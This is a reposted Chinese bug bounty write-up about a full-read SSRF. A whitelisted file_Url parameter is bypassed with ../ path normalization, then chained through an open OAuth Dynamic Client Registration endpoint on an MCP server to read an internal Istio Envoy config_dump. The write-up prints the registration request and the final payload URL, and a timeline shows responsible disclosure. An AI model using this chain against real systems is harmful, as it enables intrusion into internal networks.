文章总结: 本文记录了安全研究员Eib通过组合利用OAuth动态客户端注册(DCR)功能、路径规范化漏洞和开放重定向,成功实现FullReadSSRF攻击的完整过程。攻击链始于文件上传功能,通过路径规范化绕过白名单限制,再利用DCR注册恶意客户端构造重定向跳板,最终读取内网IstioEnvoyAdmin配置。文章详细描述了漏洞挖掘思路、技术细节和攻击流程,为渗透测试人员提供了可复用的方法论。 综合评分: 85 文章分类: WEB安全,漏洞分析,渗透测试,红队,实战经验
一次完整的Full Read SSRF挖掘之旅:OAuth DCR、开放重定向与路径规范化的三重奏
voorivex voorivex
赛博知识驿站
2026年4月10日 10:10 中国香港
漏洞全貌
这篇文章记录了安全研究员 Eib 如何将多个”小玩意儿(gadget)”串联起来,最终在目标系统上实现一次完整可读的 Full Read SSRF。
整个攻击链条,环环相扣,逻辑精妙:
- 1. 利用 MCP 服务器上开放的
动态客户端注册(DCR)功能,伪造一个 OAuth 客户端,从而打造出一个开放重定向的跳板 - 2. 再借助路径规范化漏洞,绕过服务端对白名单路径的严格校验
用一个公式来概括就是:
DCR 开放重定向 + 路径规范化 = Full Read SSRF!
挖洞历程
上传电子表格文档
故事的起点,是一个普通得不能再普通的文件上传功能。
Eib 在一个目标平台上发现了一个电子表格上传功能,深挖之后,摸清了它完整的业务流程:
- 1. 将电子表格上传到服务器,拿到文档在服务器上的链接
- 2. 将该链接”喂”给后端进行处理,最终在仪表盘上渲染出内容
思路清晰之后,Eib 开始逐步拆解,对每个环节展开测试。
第一步是文件上传。过程本身平淡无奇,选个文件、上传、完成。Eib 尝试过上传畸形文档来触发 XXE,但没有成功。
上传成功后,服务端会返回文件的访问链接,格式类似这样:
https://redacted-app.com/api/v1/documents/document_id/file
文件被存放在 /documents 目录下,并被赋予一个唯一的 document_id。
处理电子表格文档
第二步才是真正让 Eib 眼睛发光的地方。
该步骤会向服务端发送如下请求:
POST /api/v1/conversions/spreadsheets HTTP/2
Host: redacted-app.com
Cookie: token=YOUR_COOKIE;
Content-Type: application/json
Te: trailers
{
"file_Url": "https://redacted-app.com/api/v1/documents/document_id/file"
}
注意到了吗?这是一个 POST 请求,里面有一个 file_Url 参数,它的值正是上一步上传文件后返回的链接。
就在看到 file_Url 这个参数的瞬间,Eib 的每一根神经都在呐喊:SSRF!
于是,他立刻把 Burp Collaborator 的地址填进去,结果换来了一个冷冰冰的 403 Forbidden。换成 interactsh 的地址,直接触发了 WAF,页面赫然显示:“You have been blocked!”。
经过一番摸索,Eib 摸清了服务端的白名单规则:
- 1. 拒绝一切外部网站的请求
- 2. WAF 直接封禁 Burp Collaborator 和 interactsh 等知名探测域名
- 3. 只放行两种格式:
https://redacted-app.com/api/v1/documents/*以及https://*.redacted-app.com/api/v1/documents/*
白名单如此严苛,想要突破,开放 URL 重定向似乎是唯一的出路。但问题来了——路径必须是 /api/v1/documents/*,而该目录下的所有端点返回的都是 JSON 数据,在这里找到一个能跳转的开放重定向,概率几乎为零。
路径规范化——第一把钥匙
路径规范化(Path Normalization),说白了就是服务器在解析 URL 时,会自动处理掉路径中多余的 ../、./ 等冗余元素,将其还原为标准路径。
举个最直观的例子,下面两个 URL 在服务端看来是完全等价的:
路径规范化示意图:两条不同写法的URL最终解析到同一路径
Eib 将这个技巧用在了 file_Url 参数上,构造出如下路径:
https://redacted-app.com/api/v1/documents/../../../home
这个地址表面上以 /api/v1/documents/ 开头,完美符合白名单;但经过路径规范化处理后,../../../ 会向上跳出 documents 目录,最终指向网站的根路径。
这把钥匙,打开了通往整个站点的大门。至此,寻找开放重定向的范围,从一个死胡同变成了一片广阔天地。
山穷水尽——两个月的等待
然而,接下来的故事远没有那么顺利。
Eib 把 redacted-app.com 及其所有子域名翻了个遍,硬是没找到一个能用的开放重定向。他甚至去翻了程序的排行榜,给每一位上榜的猎手发了私信,在 X 上挨个询问是否有人手里握着这个目标的开放重定向线索。但得到的回答无一例外:没有。有人说自己只专注于越权漏洞,有人只做存储型 XSS,有人只关注权限提升。
走投无路,Eib 只能把所有进展详细记录在笔记里,然后搁置,去测试其他功能。
柳暗花明——Open DCR 横空出世
时间来到两个月后的一个深夜。
Eib 正刷着 X 的时间线,无意间看到了安全研究员 AmirMohammad Safari 发布的一篇研究文章:Shaking the Mcp Tree[1]。
文章里,作者记录了他如何利用大量 MCP 服务器上的一个常见特性,凭空造出一个开放重定向的跳板,再将其与路径规范化组合,最终实现 Full Read SSRF。
读到这里,Eib 猛地想起:他那个待解锁的 SSRF,正好缺一个开放重定向!而且,他之前在扫描子域名时,明明就看到过目标的 MCP 服务器域名。
这不就是命运吗?
动态客户端注册(DCR)——大杀器登场
在进一步介绍之前,先来理解一下 动态客户端注册(Dynamic Client Registration,DCR) 是什么东西。
DCR 是 OpenID Connect 和 OAuth 2.0 框架中的一个特性,它允许 OAuth 客户端应用在运行时动态地向授权服务器注册自己,而无需人工提前配置好一切。
用最通俗的话来说:
这个功能让一个应用能够自动注册为 OAuth/OpenID 客户端——不需要任何人工干预,来了就能注册,注册了就能用。
DCR动态客户端注册流程示意图
打造开放重定向跳板
了解了 DCR 的原理,Eib 立刻奔向目标的 MCP 服务器域名 mcp.redacted-app.com,访问了如下地址:
https://mcp.redacted-app.com/.well-known/oauth-authorization-server
果然,DCR 是开放的。
判断的依据很简单:如果在 .well-known/oauth-authorization-server 的响应中能看到 "registration_endpoint" 字段并附有一个 /register 端点,那么 DCR 大概率是开放的。
目标服务端返回的配置如下:
{
"issuer": "https://mcp.redacted-app.com/",
"authorization_endpoint": "https://mcp.redacted-app.com/authorize",
"token_endpoint": "https://mcp.redacted-app.com/token",
"registration_endpoint": "https://mcp.redacted-app.com/register",
"scopes_supported": [
"document:read",
"document:write"
],
"response_types_supported": [
"code"
],
"grant_types_supported": [
"authorization_code",
"refresh_token"
],
"token_endpoint_auth_methods_supported": [
"client_secret_post"
],
"code_challenge_methods_supported": [
"S256"
]
}
既然 DCR 开放,Eib 说干就干——直接向 /register 端点注册一个恶意 OAuth 客户端,将 redirect_uris 指向内部的 Istio Envoy Admin 接口 http://127.0.0.1:15000/config_dump,目标是把它的配置信息全部 dump 出来。
注册请求如下:
POST /register HTTP/2
Host: mcp.redacted-app.com
Content-Type: application/json;charset=UTF-8
{
"redirect_uris": [
"http://127.0.0.1:15000/config_dump"
],
"client_name": "Eib Malicious App",
"token_endpoint_auth_method": "none",
"grant_types": [
"authorization_code",
"refresh_token"
],
"response_types": [
"code"
]
}
服务端毫不犹豫地响应了 201 Created,并返回了一个合法的 client_id:
HTTP/2 201 Created
Content-Type: application/json
{
"redirect_uris": [
"http://127.0.0.1:15000/config_dump"
],
"token_endpoint_auth_method": "none",
"grant_types": [
"authorization_code",
"refresh_token"
],
"response_types": [
"code"
],
"client_name": "Eib Malicious App",
"client_id": "3288a1c8-bxa1-1325-8ec1-d69fc9a250b8",
"client_id_issued_at": 1770288017
}
有了这个 client_id,一个完整的开放重定向 URL 就成型了:
https://mcp.redacted-app.com/authorize?response_type=code&redirect_uri=http://127.0.0.1:15000/config_dump&client_id=3288a1c8-bxa1-1325-8ec1-d69fc9a250b8
在浏览器中访问这个地址,页面果然跳转到了 http://127.0.0.1:15000/config_dump。当然,由于这是内网服务,浏览器无法直接访问,页面没有响应内容——但这无所谓。开放重定向跳板,已经就位。
三剑合璧,漏洞落地
回到 Eib 两个月前的笔记,此刻终于到了收网的时刻。
最终奏效的攻击公式:
OAuth DCR 开放重定向 + 路径规范化 = Full Read SSRF!
最终的攻击 Payload 如下:
https://mcp.redacted-app.com/api/v1/documents/../../../authorize?response_type=code&redirect_uri=http://127.0.0.1:15000/config_dump&client_id=3288a1c8-bxa1-1325-8ec1-d69fc9a250b8
整个攻击链条的执行逻辑,拆解下来清晰明了:
- 1. 服务端白名单规则要求 URL 必须匹配
https://redacted-app.com/api/v1/documents/*或https://*.redacted-app.com/api/v1/documents/* - 2. Payload 开头是
https://mcp.redacted-app.com/api/v1/documents/,完美通过白名单校验,WAF 不予拦截 - 3. Payload 中紧跟着
../../../authorize?response_type=code&redirect_uri=http://127.0.0.1:15000/config_dump&client_id=3288a1c8-bxa1-1325-8ec1-d69fc9a250b8 - 4. 服务端在解析 URL 时触发路径规范化,
../../../将路径从api/v1/documents向上跳出,归并到域名根目录,最终/authorize被追加至根路径之后 - 5. 规范化后的实际请求变为:
https://mcp.redacted-app.com/authorize?response_type=code&redirect_uri=http://127.0.0.1:15000/config_dump&client_id=3288a1c8-bxa1-1325-8ec1-d69fc9a250b8 - 6.
/authorize端点接收到请求,按照注册时配置的规则,自动跳转至http://127.0.0.1:15000/config_dump - 7. 服务端跟随重定向,读取内部
config_dump接口的内容,并将结果渲染在仪表盘上
整个攻击流程示意图如下:
Full Read SSRF完整攻击链路流程图:白名单绕过→路径规范化→DCR开放重定向→读取内网数据
漏洞影响
成功实现对 Istio Envoy Admin 接口的 Full Read SSRF,可读取内网服务的完整配置信息。
时间线
| 时间 | 事件 |
| — | — |
| 2026/2/5 13:14 | 提交漏洞报告 |
| 2026/2/5 15:09 | 状态从 triage 变更为 pending |
| 2026/2/6 16:44 | 状态从 pending 变更为 accepted |
| 2026/2/6 16:44 | 漏洞被评定为高危,赏金到账 |
| 2026/2/6 16:49 | 收到官方致谢消息 |
经验总结
Eib 从这个漏洞中提炼出三条弥足珍贵的经验:
第一,深入理解每一个功能特性。 不要走马观花,要搞清楚每个步骤、每个请求的来龙去脉。正是因为他仔细拆解了上传和处理两个步骤,才发现了 file_Url 参数的可乘之机。
第二,养成记录”有趣行为”的习惯。 发现了白名单规则?记下来。看到了路径规范化?也记下来。很多时候,当下看起来是死路一条的线索,假以时日、积累足够多的”零件”之后,就能拼凑出一条完整的攻击链。
第三,也是最重要的一条——读别人的研究!!!
这一点怎么强调都不过分。正是因为 Eib 刷 X 时无意间看到了 AmirMohammad Safari 关于 MCP 服务器的研究,两个月前那个看似无解的 SSRF 才终于找到了最后那块拼图。
站在巨人的肩膀上,才能看得更远。
原文:https://eib.hashnode.dev/crafting-a-full-read-ssrf-a-journey-through-oauth-dcr-open-url-redirects-and-path-normalization
引用链接
[1] Shaking the Mcp Tree: https://blog.voorivex.team/shaking-the-mcp-tree
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:赛博知识驿站 voorivex voorivex《一次完整的Full Read SSRF挖掘之旅:OAuth DCR、开放重定向与路径规范化的三重奏》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论